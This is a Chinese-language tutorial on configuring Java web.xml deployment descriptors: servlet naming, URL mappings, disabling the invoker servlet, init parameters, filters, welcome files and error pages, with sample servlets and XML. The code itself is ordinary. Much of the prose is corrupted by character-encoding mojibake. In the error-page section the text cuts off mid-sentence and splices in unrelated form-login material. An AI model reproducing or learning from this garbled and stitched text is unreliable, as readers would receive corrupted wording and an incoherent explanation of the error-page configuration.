XML 元素不仅是大写敏感的,而且它们q对出现在其他元素中的次序敏感。例如,XML头必L文g中的W一,DOCTYPE声明必须是第二项Q而web- app元素必须是第三项。在web-app元素内,元素的次序也很重要。服务器不一定强制要求这U次序,但它们允许(实际上有些服务器是q样做的Q完?拒绝执行含有ơ序不正的元素的Web应用。这表示使用非标准元素次序的web.xml文g是不可移植的?br /> 下面的列表给Z所有可直接出现在web-app元素内的合法元素所必需的次序。例如,此列表说明servlet元素必须出现在所有servlet-mapping元素之前。请注意Q所有这些元素都是可选的。因此,可以省略掉某一元素Q但不能把它放于不正的位置?br /> l icon icon元素指出IDE和GUI工具用来表示Web应用的一个和两个囑փ文g的位|?br /> l display-name display-name元素提供GUI工具可能会用来标记这个特定的Web应用的一个名U?br /> l description description元素l出与此有关的说明性文本?br /> l context-param context-param元素声明应用范围内的初始化参数?br /> l filter qo器元素将一个名字与一个实现javax.servlet.Filter接口的类相关联?br /> l filter-mapping 一旦命名了一个过滤器Q就要利用filter-mapping元素把它与一个或多个servlet或JSP面相关联?br /> l listener servlet API的版?.3增加了对事g监听E序的支持,事g监听E序在徏立、修改和删除会话或servlet环境时得到通知。Listener元素指出事g监听E序cR?br /> l servlet 在向servlet或JSP面制定初始化参数或定制URLӞ必须首先命名servlet或JSP面。Servlet元素是用来完成此项d的?br /> l servlet-mapping 服务器一般ؓservlet提供一个缺省的URLQhttp://host/webAppPrefix/servlet/ServletName。但是,常常会更改这个URLQ以便servlet可以讉K初始化参数或更容易地处理相对URL。在更改~省URLӞ使用servlet-mapping元素?br /> l session-config 如果某个会话在一定时间内未被讉KQ服务器可以抛弃它以节省内存。可通过使用HttpSession的setMaxInactiveIntervalҎ 明确讄单个会话对象的超时|或者可利用session-config元素制定~省时倹{?br /> l mime-mapping 如果Web应用h惛_Ҏ的文Ӟ希望能保证给他们分配特定的MIMEcdQ则mime-mapping元素提供q种保证?br /> l welcom-file-list welcome-file-list元素指示服务器在收到引用一个目录名而不是文件名的URLӞ使用哪个文g?br /> l error-page error-page元素使得在返回特定HTTP状态代码时Q或者特定类型的异常被抛出时Q能够制定将要显C的面?br /> l taglib taglib元素Ҏ记库描述W文ӞTag Libraryu Descriptor fileQ指定别名。此功能使你能够更改TLD文g的位|,而不用编辑用这些文件的JSP面?br /> l resource-env-ref resource-env-ref元素声明与资源相关的一个管理对象?br /> l resource-ref resource-ref元素声明一个资源工厂用的外部资源?br /> l security-constraint security-constraint元素制定应该保护的URL。它与login-config元素联合使用
l login-config 用login-config元素来指定服务器应该怎样l试图访问受保护面的用h权。它与sercurity-constraint元素联合使用?br /> l security-role security-role元素l出安全角色的一个列表,q些角色出现在servlet元素内的security-role-ref元素的role-name子元素中。分别地声明角色可高IDE处理安全信息更ؓҎ?br /> l env-entry env-entry元素声明Web应用的环境项?br /> l ejb-ref ejb-ref元素声明一个EJB的主目录的引用?br /> l ejb-local-ref ejb-local-ref元素声明一个EJB的本C目录的应用?/p>

3 分配名称和定制的UL

在web.xml中完成的一个最常见的Q务是对servlet或JSP面l出名称和定制的URL。用servlet元素分配名称Q用servlet-mapping元素定制的URL与刚分配的名U相兌?br /> 3.1 分配名称
?了提供初始化参数Q对servlet或JSP面定义一个定制URL或分配一个安全角Ԍ必须首先lservlet或JSP面一个名U。可通过 servlet元素分配一个名U。最常见的格式包括servlet-name和servlet-class子元素(在web-app元素内)Q如下所C:
<servlet>
<servlet-name>Test</servlet-name>
<servlet-class>moreservlets.TestServlet</servlet-class>
</servlet>
q?表示位于WEB-INF/classes/moreservlets/TestServlet的servlet已经得到了注册名Test。给 servlet一个名U具有两个主要的含义。首先,初始化参数、定制的URL模式以及其他定制通过此注册名而不是类名引用此servlet。其?可在 URL而不是类名中使用此名U。因此,利用刚才l出的定义,URL http://host/webAppPrefix/servlet/Test 可用?http://host/webAppPrefix/servlet/moreservlets.TestServlet 的场所?br /> ?CQXML元素不仅是大写敏感的,而且定义它们的次序也很重要。例如,web-app元素内所有servlet元素必须位于所有servlet- mapping元素Q下一节介绍Q之前,而且q要位于5.6节和5.11节讨论的与过滤器或文档相关的元素Q如果有的话Q之前。类似地Qservlet 的servlet-name子元素也必须出现在servlet-class之前?.2?部v描述W文件内的元素次?详l介l这U必需的次序?br /> ?如,E序清单5-1l出了一个名为TestServlet的简单servletQ它ȝ在moreservletsE序包中。因为此servlet是扎?在一个名为deployDemo的目录中的Web应用的组成部分,所以TestServlet.class攑֜deployDemo/WEB- INF/classes/moreservlets中。程序清?-2l出放|在deployDemo/WEB-INF/内的web.xml文g的一?分。此web.xml文g使用servlet-name和servlet-class元素名UTest与TestServlet.class相关联。图 5-1和图5-2分别昄利用~省URL和注册名调用TestServlet时的l果?/p>

E序清单5-1 TestServlet.java
package moreservlets;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

/** Simple servlet used to illustrate servlet naming
* and custom URLs.
* <P>
* Taken from More Servlets and JavaServer Pages
* from Prentice Hall and Sun Microsystems Press,
* http://www.moreservlets.com/.
* ? 2002 Marty Hall; may be freely used or adapted.
*/

public class TestServlet extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String uri = request.getRequestURI();
out.println(ServletUtilities.headWithTitle("Test Servlet") +
"<BODY BGCOLOR=\"#FDF5E6\">\n" +
"<H2>URI: " + uri + "</H2>\n" +
"</BODY></HTML>");
}
}


E序清单5-2 web.xmlQ说明servlet名称的摘录)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- … -->
<servlet>
<servlet-name>Test</servlet-name>
<servlet-class>moreservlets.TestServlet</servlet-class>
</servlet>
<!-- … -->
</web-app>

3.2 定义定制的URL
大多数服务器h一个缺省的serlvet URLQ?br /> http://host/webAppPrefix/servlet/packageName.ServletName?虽然在开发中使用q个URL很方便,但是我们常常会希望另一个URL用于部v。例如,可能会需要一个出现在Web应用层的URLQ如Qhttp: //host/webAppPrefix/AnynameQ,q且在此URL中没有servletV位于顶层的URL化了相对URL的用。此外,?许多开发h员来_层URL看上L更长更麻烦的~省URL更简短?br /> 事实上,有时需要用定制的URL。比如,你可能想关闭~省URL映射Q以便更好地强制实施安全限制或防止用h外地讉K无初始化参数的servlet。如果你止了缺省的URLQ那么你怎样讉Kservlet呢?q时只有使用定制的URL了?br /> ?了分配一个定制的URLQ可使用servlet-mapping元素及其servlet-name和url-pattern子元素。Servlet- name元素提供了一个Q意名Uͼ可利用此名称引用相应的servletQurl-pattern描述了相对于Web应用的根目录的URL。url- pattern元素的值必M斜杠Q?Qv始?br /> 下面l出一个简单的web.xml摘录Q它允许使用URL http://host/webAppPrefix/UrlTest而不是http://host/webAppPrefix/servlet/Test?br /> http: //host/webAppPrefix/servlet/moreservlets.TestServlet。请注意Q仍焉要XML头?DOCTYPE声明以及web-app闭元素。此外,可回忆一下,XML元素出现地次序不是随意的。特别是Q需要把所有servlet元素攑֜所?servlet-mapping元素之前?br /> <servlet>
<servlet-name>Test</servlet-name>
<servlet-class>moreservlets.TestServlet</servlet-class>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name>Test</servlet-name>
<url-pattern>/UrlTest</url-pattern>
</servlet-mapping>
URL模式q可以包含通配W。例如,下面的小E序指示服务器发送所有以Web应用的URL前缀开始,?.aspl束的请求到名ؓBashMS的servlet?br /> <servlet>
<servlet-name>BashMS</servlet-name>
<servlet-class>msUtils.ASPTranslator</servlet-class>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name>BashMS</servlet-name>
<url-pattern>/*.asp</url-pattern>
</servlet-mapping>
3.3 命名JSP面
?为JSP面要{换成sevletQ自然希望就像命名servlet一样命名JSP面。毕竟,JSP面可能会从初始化参数、安全设|或定制的URL?受益Q正如普通的serlvet那样。虽然JSP面的后台实际上是servletq句话是正确的,但存在一个关键的猜疑Q即Q你不知道JSP面的实?cdQ因为系l自己挑选这个名字)。因此,Z命名JSP面Q可jsp-file元素替换为servlet-calss元素Q如下所C:
<servlet>
<servlet-name>Test</servlet-name>
<jsp-file>/TestPage.jsp</jsp-file>
</servlet>
?名JSP面的原因与命名servlet的原因完全相同:即ؓ了提供一个与定制讄Q如Q初始化参数和安全设|)一起用的名称Qƈ且,以便能更Ҏz?JSP面的URLQ比方说Q以便多个URL通过相同面得以处理Q或者从URL中去?jsp扩展名)。但是,在设|初始化参数Ӟ应该注意QJSP?面是利用jspInitҎQ而不是initҎd初始化参数的?br /> 例如Q程序清?-3l出一个名为TestPage.jsp的简单JSP面Q它的工作只是打印出用来Ȁzd的URL的本地部分。TestPage.jsp攄在deployDemo应用的顶层。程序清?-4l出了用来分配一个注册名PageNameQ然后将此注册名与http://host/webAppPrefix/UrlTest2/anything 形式的URL相关联的web.xml文gQ即QdeployDemo/WEB-INF/web.xmlQ的一部分?/p>

E序清单5-3 TestPage.jsp
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>
JSP Test Page
</TITLE>
</HEAD>
<BODY BGCOLOR="#FDF5E6">
<H2>URI: <%= request.getRequestURI() %></H2>
</BODY>
</HTML>


E序清单5-4 web.xmlQ说明JSP命名的摘录Q?br /> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<servlet>
<servlet-name>PageName</servlet-name>
<jsp-file>/TestPage.jsp</jsp-file>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name> PageName </servlet-name>
<url-pattern>/UrlTest2/*</url-pattern>
</servlet-mapping>
<!-- ... -->
</web-app>


4 止Ȁzdservlet

对servlet 或JSP面建立定制URL的一个原因是Q这样做可以注册?initQservletQ或jspInitQJSP面Q方法中d得初始化参数。但是,初始化参数只在是利用定制URL模式或注册名讉K servlet或JSP面时可以用,用缺省URL http://host/webAppPrefix/servlet/ServletName 讉K时不能用。因此,你可能会希望关闭~省URLQ这样就不会有h意外地调用初始化servlet了。这个过E有时称为禁止激zdservletQ因?多数服务器具有一个用~省的servlet URL注册的标准servletQƈȀzȝ省的URL应用的实际servlet?br /> 有两U禁止此~省URL的主要方法:
l 在每个Web应用中重新映?servlet/模式?br /> l 全局关闭Ȁzdservlet?br /> ?要的是应该注意到Q虽焉新映每个Web应用中的/servlet/模式比彻底禁止激zservlet所做的工作更多Q但重新映射可以用一U完全可UL 的方式来完成。相反,全局止Ȁzdservlet完全是针对具体机器的Q事实上有的服务器(如ServletExecQ没有这L选择。下面的讨论Ҏ 个Web应用重新映射/servlet/ URL模式的策略。后面提供在Tomcat中全局止Ȁzdservlet的详l内宏V?br /> 4.1 重新映射/servlet/URL模式
在一个特定的Web应用中禁止以http://host/webAppPrefix/servlet/ 开始的URL的处理非常简单。所需做的事情是建立一个错误消息servletQƈ使用前一节讨论的url-pattern元素所有匹配请求{向该 servlet。只要简单地使用Q?br /> <url-pattern>/servlet/*</url-pattern>
作ؓservlet-mapping元素中的模式卛_?br /> 例如Q程序清?-5l出了将SorryServlet servletQ程序清?-6Q与所有以http://host/webAppPrefix/servlet/ 开头的URL相关联的部v描述W文件的一部分?/p>

E序清单5-5 web.xmlQ说明JSP命名的摘录Q?br /> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<servlet>
<servlet-name>Sorry</servlet-name>
<servlet-class>moreservlets.SorryServlet</servlet-class>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name> Sorry </servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<!-- ... -->
</web-app>


E序清单5-6 SorryServlet.java
package moreservlets;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

/** Simple servlet used to give error messages to
* users who try to access default servlet URLs
* (i.e., http://host/webAppPrefix/servlet/ServletName)
* in Web applications that have disabled this
* behavior.
* <P>
* Taken from More Servlets and JavaServer Pages
* from Prentice Hall and Sun Microsystems Press,
* http://www.moreservlets.com/.
* ? 2002 Marty Hall; may be freely used or adapted.
*/

public class SorryServlet extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Invoker Servlet Disabled.";
out.println(ServletUtilities.headWithTitle(title) +
"<BODY BGCOLOR=\"#FDF5E6\">\n" +
"<H2>" + title + "</H2>\n" +
"Sorry, access to servlets by means of\n" +
"URLs that begin with\n" +
"http://host/webAppPrefix/servlet/\n" +
"has been disabled.\n" +
"</BODY></HTML>");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}


4.2 全局止ȀzdQTomcat
Tomcat 4中用来关闭缺省URL的方法与Tomcat 3中所用的很不相同。下面介l这两种ҎQ?br /> 1Q禁止激zdQ?Tomcat 4
Tomcat 4用与前面相同的方法关闭激zdservletQ即利用web.xml中的url-mapping元素q行关闭。不同之处在于Tomcat使用了放?install_dir/conf中的一个服务器专用的全局web.xml文gQ而前面用的是存攑֜每个Web应用的WEB-INF目录中的标准 web.xml文g?br /> 因此Qؓ了在Tomcat 4中关闭激zdservletQ只需在install_dir/conf/web.xml中简单地注释?servlet/* URL映射即可,如下所C:
<!--
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
-->
再次提醒Q应该注意这个项是位于存攑֜install_dir/conf的Tomcat专用的web.xml文g中的Q此文g不是存放在每个Web应用的WEB-INF目录中的标准web.xml?br /> 2Q禁止激zdQTomcat3
在Apache Tomcat的版?中,通过在install_dir/conf/server.xml中注释出InvokerInterceptor全局止~省 servlet URL。例如,下面是禁止用缺省servlet URL的server.xml文g的一部分?br /> <!--
<RequsetInterceptor
className="org.apache.tomcat.request.InvokerInterceptor"
debug="0" prefix="/servlet/" />
-->

5 初始化和预装载servlet与JSP面

q里讨论控制servlet和JSP面的启动行为的Ҏ。特别是Q说明了怎样分配初始化参C及怎样更改服务器生存期中装载servlet和JSP面的时刅R?br /> 5.1 分配servlet初始化参?br /> ?用init-param元素向servlet提供初始化参敎ͼinit-param元素hparam-name和param-value子元素。例如, 在下面的例子中,如果initServlet servlet是利用它的注册名QInitTestQ访问的Q它能够从其方法中调用getServletConfig(). getInitParameter("param1")获得"Value 1"Q调用getServletConfig().getInitParameter("param2")获得"2"?br /> <servlet>
<servlet-name>InitTest</servlet-name>
<servlet-class>moreservlets.InitServlet</servlet-class>
<init-param>
<param-name>param1</param-name>
<param-value>value1</param-value>
</init-param>
<init-param>
<param-name>param2</param-name>
<param-value>2</param-value>
</init-param>
</servlet>
在涉及初始化参数Ӟ有几炚w要注意:
l q回倹{GetInitParameter的返回值L一个String。因此,在前一个例子中Q可对param2使用Integer.parseInt获得一个int?br /> l JSP中的初始化。JSP面使用jspInit而不是init。JSP面q需要用jsp-file元素代替servlet-class?br /> l ~省URL。初始化参数只在通过它们的注册名或与它们注册名相关的定制URL模式讉KServlet时可以用。因此,在这个例子中Qparam1?param2初始化参数将能够在用URL http://host/webAppPrefix/servlet/InitTest 时可用,但在使用URL http://host/webAppPrefix/servlet/myPackage.InitServlet 时不能用?br /> 例如Q程序清?-7l出一个名为InitServlet的简单servletQ它使用initҎ讄firstName和emailAddress字段。程序清?-8l出分配名称InitTestlservlet的web.xml文g?br /> E序清单5-7 InitServlet.java
package moreservlets;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

/** Simple servlet used to illustrate servlet
* initialization parameters.
* <P>
* Taken from More Servlets and JavaServer Pages
* from Prentice Hall and Sun Microsystems Press,
* http://www.moreservlets.com/.
* ? 2002 Marty Hall; may be freely used or adapted.
*/

public class InitServlet extends HttpServlet {
private String firstName, emailAddress;

public void init() {
ServletConfig config = getServletConfig();
firstName = config.getInitParameter("firstName");
emailAddress = config.getInitParameter("emailAddress");
}

public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String uri = request.getRequestURI();
out.println(ServletUtilities.headWithTitle("Init Servlet") +
"<BODY BGCOLOR=\"#FDF5E6\">\n" +
"<H2>Init Parameters:</H2>\n" +
"<UL>\n" +
"<LI>First name: " + firstName + "\n" +
"<LI>Email address: " + emailAddress + "\n" +
"</UL>\n" +
"</BODY></HTML>");
}
}


E序清单5-8 web.xmlQ说明初始化参数的摘录)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<servlet>
<servlet-name>InitTest</servlet-name>
<servlet-class>moreservlets.InitServlet</servlet-class>
<init-param>
<param-name>firstName</param-name>
<param-value>Larry</param-value>
</init-param>
<init-param>
<param-name>emailAddress</param-name>
<param-value>Ellison@Microsoft.com</param-value>
</init-param>
</servlet>
<!-- ... -->
</web-app>

5.2 分配JSP初始化参?br /> lJSP面提供初始化参数在三个斚w不同于给servlet提供初始化参数?br /> 1Q用jsp-file而不是servlet-class。因此,WEB-INF/web.xml文g的servlet元素如下所C:
<servlet>
<servlet-name>PageName</servlet-name>
<jsp-file>/RealPage.jsp</jsp-file>
<init-param>
<param-name>...</param-name>
<param-value>...</param-value>
</init-param>
...
</servlet>
2) 几乎L分配一个明的URL模式。对servletQ一般相应地使用以http://host/webAppPrefix/servlet/ 开始的~省URL。只需CQ用注册名而不是原名称卛_。这对于JSP面在技术上也是合法的。例如,在上面给出的例子中,可用URL http://host/webAppPrefix/servlet/PageName 讉KRealPage.jsp的对初始化参数具有访问权的版本。但在用于JSP面Ӟ许多用户g不喜Ƣ应用常规的servlet的URL。此外,如果 JSP面位于服务器ؓ其提供了目录清单的目录中Q如Q一个既没有index.html也没有index.jsp文g的目录)Q则用户可能会连接到?JSP面Q单dQ从而意外地ȀzL初始化的面。因此,好的办法是用url-patternQ?.3节)JSP面的原URL与注册的 servlet名相兌。这P客户机可使用JSP面的普通名Uͼ但仍然激zd制的版本。例如,l定来自目1的servlet定义Q可使用下面?servlet-mapping定义Q?br /> <servlet-mapping>
<servlet-name>PageName</servlet-name>
<url-pattern>/RealPage.jsp</url-pattern>
</servlet-mapping>
3QJSP用jspInit而不是init。自动从JSP面建立的servlet或许已经使用了intiҎ。因此,使用JSP声明提供一个initҎ是不合法的,必须制定jspInitҎ?br /> Z说明初始化JSP面的过E,E序清单5-9l出了一个名为InitPage.jsp的JSP面Q它包含一个jspInitҎ且放|于 deployDemo Web应用层次l构的顶层。一般,http://host/deployDemo/InitPage.jsp 形式的URL激zL面的不h初始化参数访问权的版本,从而将对firstName和emailAddress变量昄null。但是, web.xml文gQ程序清?-10Q分配了一个注册名Q然后将该注册名与URL模式/InitPage.jsp相关联?/p>

E序清单5-9 InitPage.jsp
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JSP Init Test</TITLE></HEAD>
<BODY BGCOLOR="#FDF5E6">
<H2>Init Parameters:</H2>
<UL>
<LI>First name: <%= firstName %>
<LI>Email address: <%= emailAddress %>
</UL>
</BODY></HTML>
<%!
private String firstName, emailAddress;

public void jspInit() {
ServletConfig config = getServletConfig();
firstName = config.getInitParameter("firstName");
emailAddress = config.getInitParameter("emailAddress");
}
%>


E序清单5-10 web.xmlQ说明JSP面的init参数的摘录)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<servlet>
<servlet-name>InitPage</servlet-name>
<jsp-file>/InitPage.jsp</jsp-file>
<init-param>
<param-name>firstName</param-name>
<param-value>Bill</param-value>
</init-param>
<init-param>
<param-name>emailAddress</param-name>
<param-value>gates@oracle.com</param-value>
</init-param>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name> InitPage</servlet-name>
<url-pattern>/InitPage.jsp</url-pattern>
</servlet-mapping>
<!-- ... -->
</web-app>


5.3 提供应用范围内的初始化参?br /> 一 般,对单个地servlet或JSP面分配初始化参数。指定的servlet或JSP面利用ServletConfig?getInitParameterҎdq些参数。但是,在某些情形下Q希望提供可׃Q意servlet或JSP面借助ServletContext 的getInitParameterҎd的系l范围内的初始化参数?br /> 可利用context-param元素声明q些pȝ范围内的初始化倹{context-param元素应该包含param-name、param-value以及可选的description子元素,如下所C:
<context-param>
<param-name>support-email</param-name>
<param-value>blackhole@mycompany.com</param-value>
</context-param>
?回忆一下,Z保证可移植性,web.xml内的元素必须以正的ơ序声明。但q里应该注意Qcontext-param元素必须出现L与文档有关的?素(icon、display-name或descriptionQ之后及filter、filter-mapping、listener?servlet元素之前?br /> 5.4 在服务器启动时装载servlet
假如servlet或JSP面有一个要花很长时间执行的init QservletQ或jspInitQJSPQ方法。例如,假如init或jspInitҎ从某个数据库或ResourceBundle查找产量。这U?情况下,在第一个客hh时装载servlet的缺省行为将对第一个客h产生较长旉的gq。因此,可利用servlet的load-on- startup元素规定服务器在W一ơ启动时装蝲servlet。下面是一个例子?br /> <servlet>
<servlet-name> … </servlet-name>
<servlet-class> … </servlet-class> <!-- or jsp-file -->
<load-on-startup/>
</servlet>
?以ؓ此元素体提供一个整数而不是用一个空的load-on-startup。想法是服务器应该在装蝲较大数目的servlet或JSP面之前装蝲较少 数目的servlet或JSP面。例如,下面的servlet(攄在Web应用的WEB-INF目录下的web.xml文g中的web-app元素 内)指C服务器首先装蝲和初始化SearchServletQ然后装载和初始化由位于Web应用的result目录中的index.jsp文g产生?servlet?br /> <servlet>
<servlet-name>Search</servlet-name>
<servlet-class>myPackage.SearchServlet</servlet-class> <!-- or jsp-file -->
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>Results</servlet-name>
<servlet-class>/results/index.jsp</servlet-class> <!-- or jsp-file -->
<load-on-startup>2</load-on-startup>
</servlet>

6 声明qo?/p>

servlet版本2.3引入了过滤器的概c虽然所有支持servlet API版本2.3的服务器都支持过滤器Q但Z使用与过滤器有关的元素,必须在web.xml中用版?.3的DTD?br /> q?滤器可截取和修改q入一个servlet或JSP面的请求或从一个servlet或JSP面发出的相应。在执行一个servlet或JSP面之前Q?必须执行W一个相关的qo器的doFilterҎ。在该过滤器对其FilterChain对象调用doFilterӞ执行链中的下一个过滤器。如果没 有其他过滤器Qservlet或JSP面被执行。过滤器h对到来的ServletRequest对象的全部访问权Q因此,它们可以查看客户机名、查?到来的cookie{。ؓ了访问servlet或JSP面的输出,qo器可响应对象包裹在一个替w对象(stand-in objectQ中Q比方说把输出篏加到一个缓冲区。在调用FilterChain对象的doFilterҎ之后Q过滤器可检查缓冲区Q如有必要,对?q行修改Q然后传送到客户机?br /> 例如Q程序清?-11定义了一个简单的qo器,只要讉K相关的servlet或JSP面Q它截取请求ƈ在标准输Z打印一个报告(开发过E中在桌面系l上q行Ӟ大多数服务器都可以用这个过滤器Q?/p>

E序清单5-11 ReportFilter.java
package moreservlets;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

/** Simple filter that prints a report on the standard output
* whenever the associated servlet or JSP page is accessed.
* <P>
* Taken from More Servlets and JavaServer Pages
* from Prentice Hall and Sun Microsystems Press,
* http://www.moreservlets.com/.
* ? 2002 Marty Hall; may be freely used or adapted.
*/

public class ReportFilter implements Filter {
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest)request;
System.out.println(req.getRemoteHost() +
" tried to access " +
req.getRequestURL() +
" on " + new Date() + ".");
chain.doFilter(request,response);
}

public void init(FilterConfig config)
throws ServletException {
}

public void destroy() {}
}

一 旦徏立了一个过滤器Q可以在web.xml中利用filter元素以及filter-nameQQ意名Uͼ、file-classQ完全限定的cdQ和 Q可选的Qinit-params子元素声明它。请注意Q元素在web.xml的web-app元素中出现的ơ序不是L的;允许服务器(但不是必需的) 强制所需的次序,q且实际中有些服务器也是q样做的。但q里要注意,所有filter元素必须出现在Q意filter-mapping元素之前Q?filter-mapping元素又必d现在所有servlet或servlet-mapping元素之前?br /> 例如Q给定上q的ReportFilterc,可在web.xml中作Z面的filter声明。它把名UReporter与实际的cReportFilterQ位于moreservletsE序包中Q相兌?br /> <filter>
<filter-name>Reporter</filter-name>
<filter-class>moresevlets.ReportFilter</filter-class>
</filter>
一旦命名了一个过滤器Q可利用filter-mapping元素把它与一个或多个servlet或JSP面相关联。关于此工作有两种选择?br /> ?先,可用filter-name和servlet-name子元素把此过滤器与一个特定的servlet名(此servlet名必ȝ后在相同?web.xml文g中用servlet元素声明Q关联。例如,下面的程序片断指C系l只要利用一个定制的URL讉K名ؓSomeServletName 的servlet或JSP面Q就q行名ؓReporter的过滤器?br /> <filter-mapping>
<filter-name>Reporter</filter-name>
<servlet-name>SomeServletName</servlet-name>
</filter-mapping>
其次Q可利用filter-name和url-pattern子元素将qo器与一lservlet、JSP面或静态内容相兌。例如,盔R的程序片D|C系l只要访问Web应用中的LURLQ就q行名ؓReporter的过滤器?br /> <filter-mapping>
<filter-name>Reporter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
?如,E序清单5-12l出了将ReportFilterqo器与名ؓPageName的servlet相关联的web.xml文g的一部分。名?PageName依次又与一个名为TestPage.jsp的JSP面以及以模式http: //host/webAppPrefix/UrlTest2/ 开头的URL相关联。TestPage.jsp的源代码已经JSP面命名的谈论在前面??分配名称和定制的URL"中给出。事实上Q程序清?- 12中的servlet和servlet-name从该节原封不动地拿q来的。给定这些web.xml,可看C面的标准输出形式的调试报告(换行?ZҎ阅读Q?br /> audit.irs.gov tried to access
http://mycompany.com/deployDemo/UrlTest2/business/tax-plan.html
on Tue Dec 25 13:12:29 EDT 2001.

E序清单5-12 Web.xmlQ说明filter用法的摘录)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<filter>
<filter-name>Reporter</filter-name>
<filter-class>moresevlets.ReportFilter</filter-class>
</filter>
<!-- ... -->
<filter-mapping>
<filter-name>Reporter</filter-name>
<servlet-name>PageName</servlet-name>
</filter-mapping>
<!-- ... -->
<servlet>
<servlet-name>PageName</servlet-name>
<jsp-file>/RealPage.jsp</jsp-file>
</servlet>
<!-- ... -->
<servlet-mapping>
<servlet-name> PageName </servlet-name>
<url-pattern>/UrlTest2/*</url-pattern>
</servlet-mapping>
<!-- ... -->
</web-app>


7 指定Ƣ迎?/p>

?如用h供了一个像http: //host/webAppPrefix/directoryName/ q样的包含一个目录名但没有包含文件名的URLQ会发生什么事情呢Q用戯得到一个目录表Q一个错误?q是标准文g的内容?如果得到标准文g内容Q是 index.html、index.jsp、default.html、default.htm或别的什么东西呢Q?br /> Welcome-file-list 元素及其辅助的welcome-file元素解决了这个模p的问题。例如,下面的web.xmlҎ出,如果一个URLl出一个目录名但未l出文g名,?务器应该首先试用index.jspQ然后再试用index.html。如果两者都没有扑ֈQ则l果有赖于所用的服务器(如一个目录列表)?br /> <welcome-file-list>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
虽然许多服务器缺省遵循这U行为,但不一定必这栗因此,明确C用welcom-file-list保证可移植性是一U良好的习惯?/p>

8 指定处理错误的页?/p>

?在我了解刎ͼ你在开发servlet和JSP面时从不会犯错误,而且你的所有页面是那样的清晎ͼ一般的E序员都不会被它们的搞糊涂。但是,是hM犯错 误的Q用户可能会提供不合规定的参敎ͼ使用不正的URL或者不能提供必需的表单字D倹{除此之外,其它开发h员可能不那么l心Q他们应该有些工h克服 自己的不?br /> error-page元素是用来克服q些问题的。它有两个可能的子元素,分别是:error-code和exception- type。第一个子元素error-code指出在给定的HTTP错误代码出现时用的URL。第二个子元素excpetion-type指出在出现某?l定的Java异常但未捕捉到时使用的URL。error-code和exception-type都利用location元素指出相应的URL。此 URL必须?开始。location所指出的位|处的页面可通过查找HttpServletRequest对象的两个专门的属性来讉K关于错误的信息, q两个属性分别是Qjavax.servlet.error.status_code和javax.servlet.error.message?br /> 可回忆一下,在web.xml内以正确的次序声明web-app的子元素很重要。这里只要记住,error-page出现在web.xml文g的末Nq,servlet、servlet-name和welcome-file-list之后卛_?/p>

8.1 error-code元素
?了更好地了解error-code元素的|可考虑一下如果不正确地输入文件名Q大多数站点会作Z么反映。这样做一般会出现一?04错误信息Q它表示 不能扑ֈ该文Ӟ但几乎没提供更多有用的信息。另一斚wQ可以试一下在www.microsoft.com、www.ibm.com 处或者特别是在www.bea.com 处输出未知的文g名。这是会得出有用的消息,q些消息提供可选择的位|,以便查找感兴的面。提供这h用的错误面对于Web应用来说是很有h值得?事实上rm-error-page子元素)。由form-login-pagel出的HTML表单必须h一个j_security_check?ACTION属性、一个名为j_username的用户名文本字段以及一个名为j_password的口令字Dc?br /> 例如Q程序清?-19指示服务器用基于表单的验证。Web应用的顶层目录中的一个名为login.jsp的页面将攉用户名和口oQƈ且失败的登陆由相同目录中名为login-error.jsp的页面报告?/p>

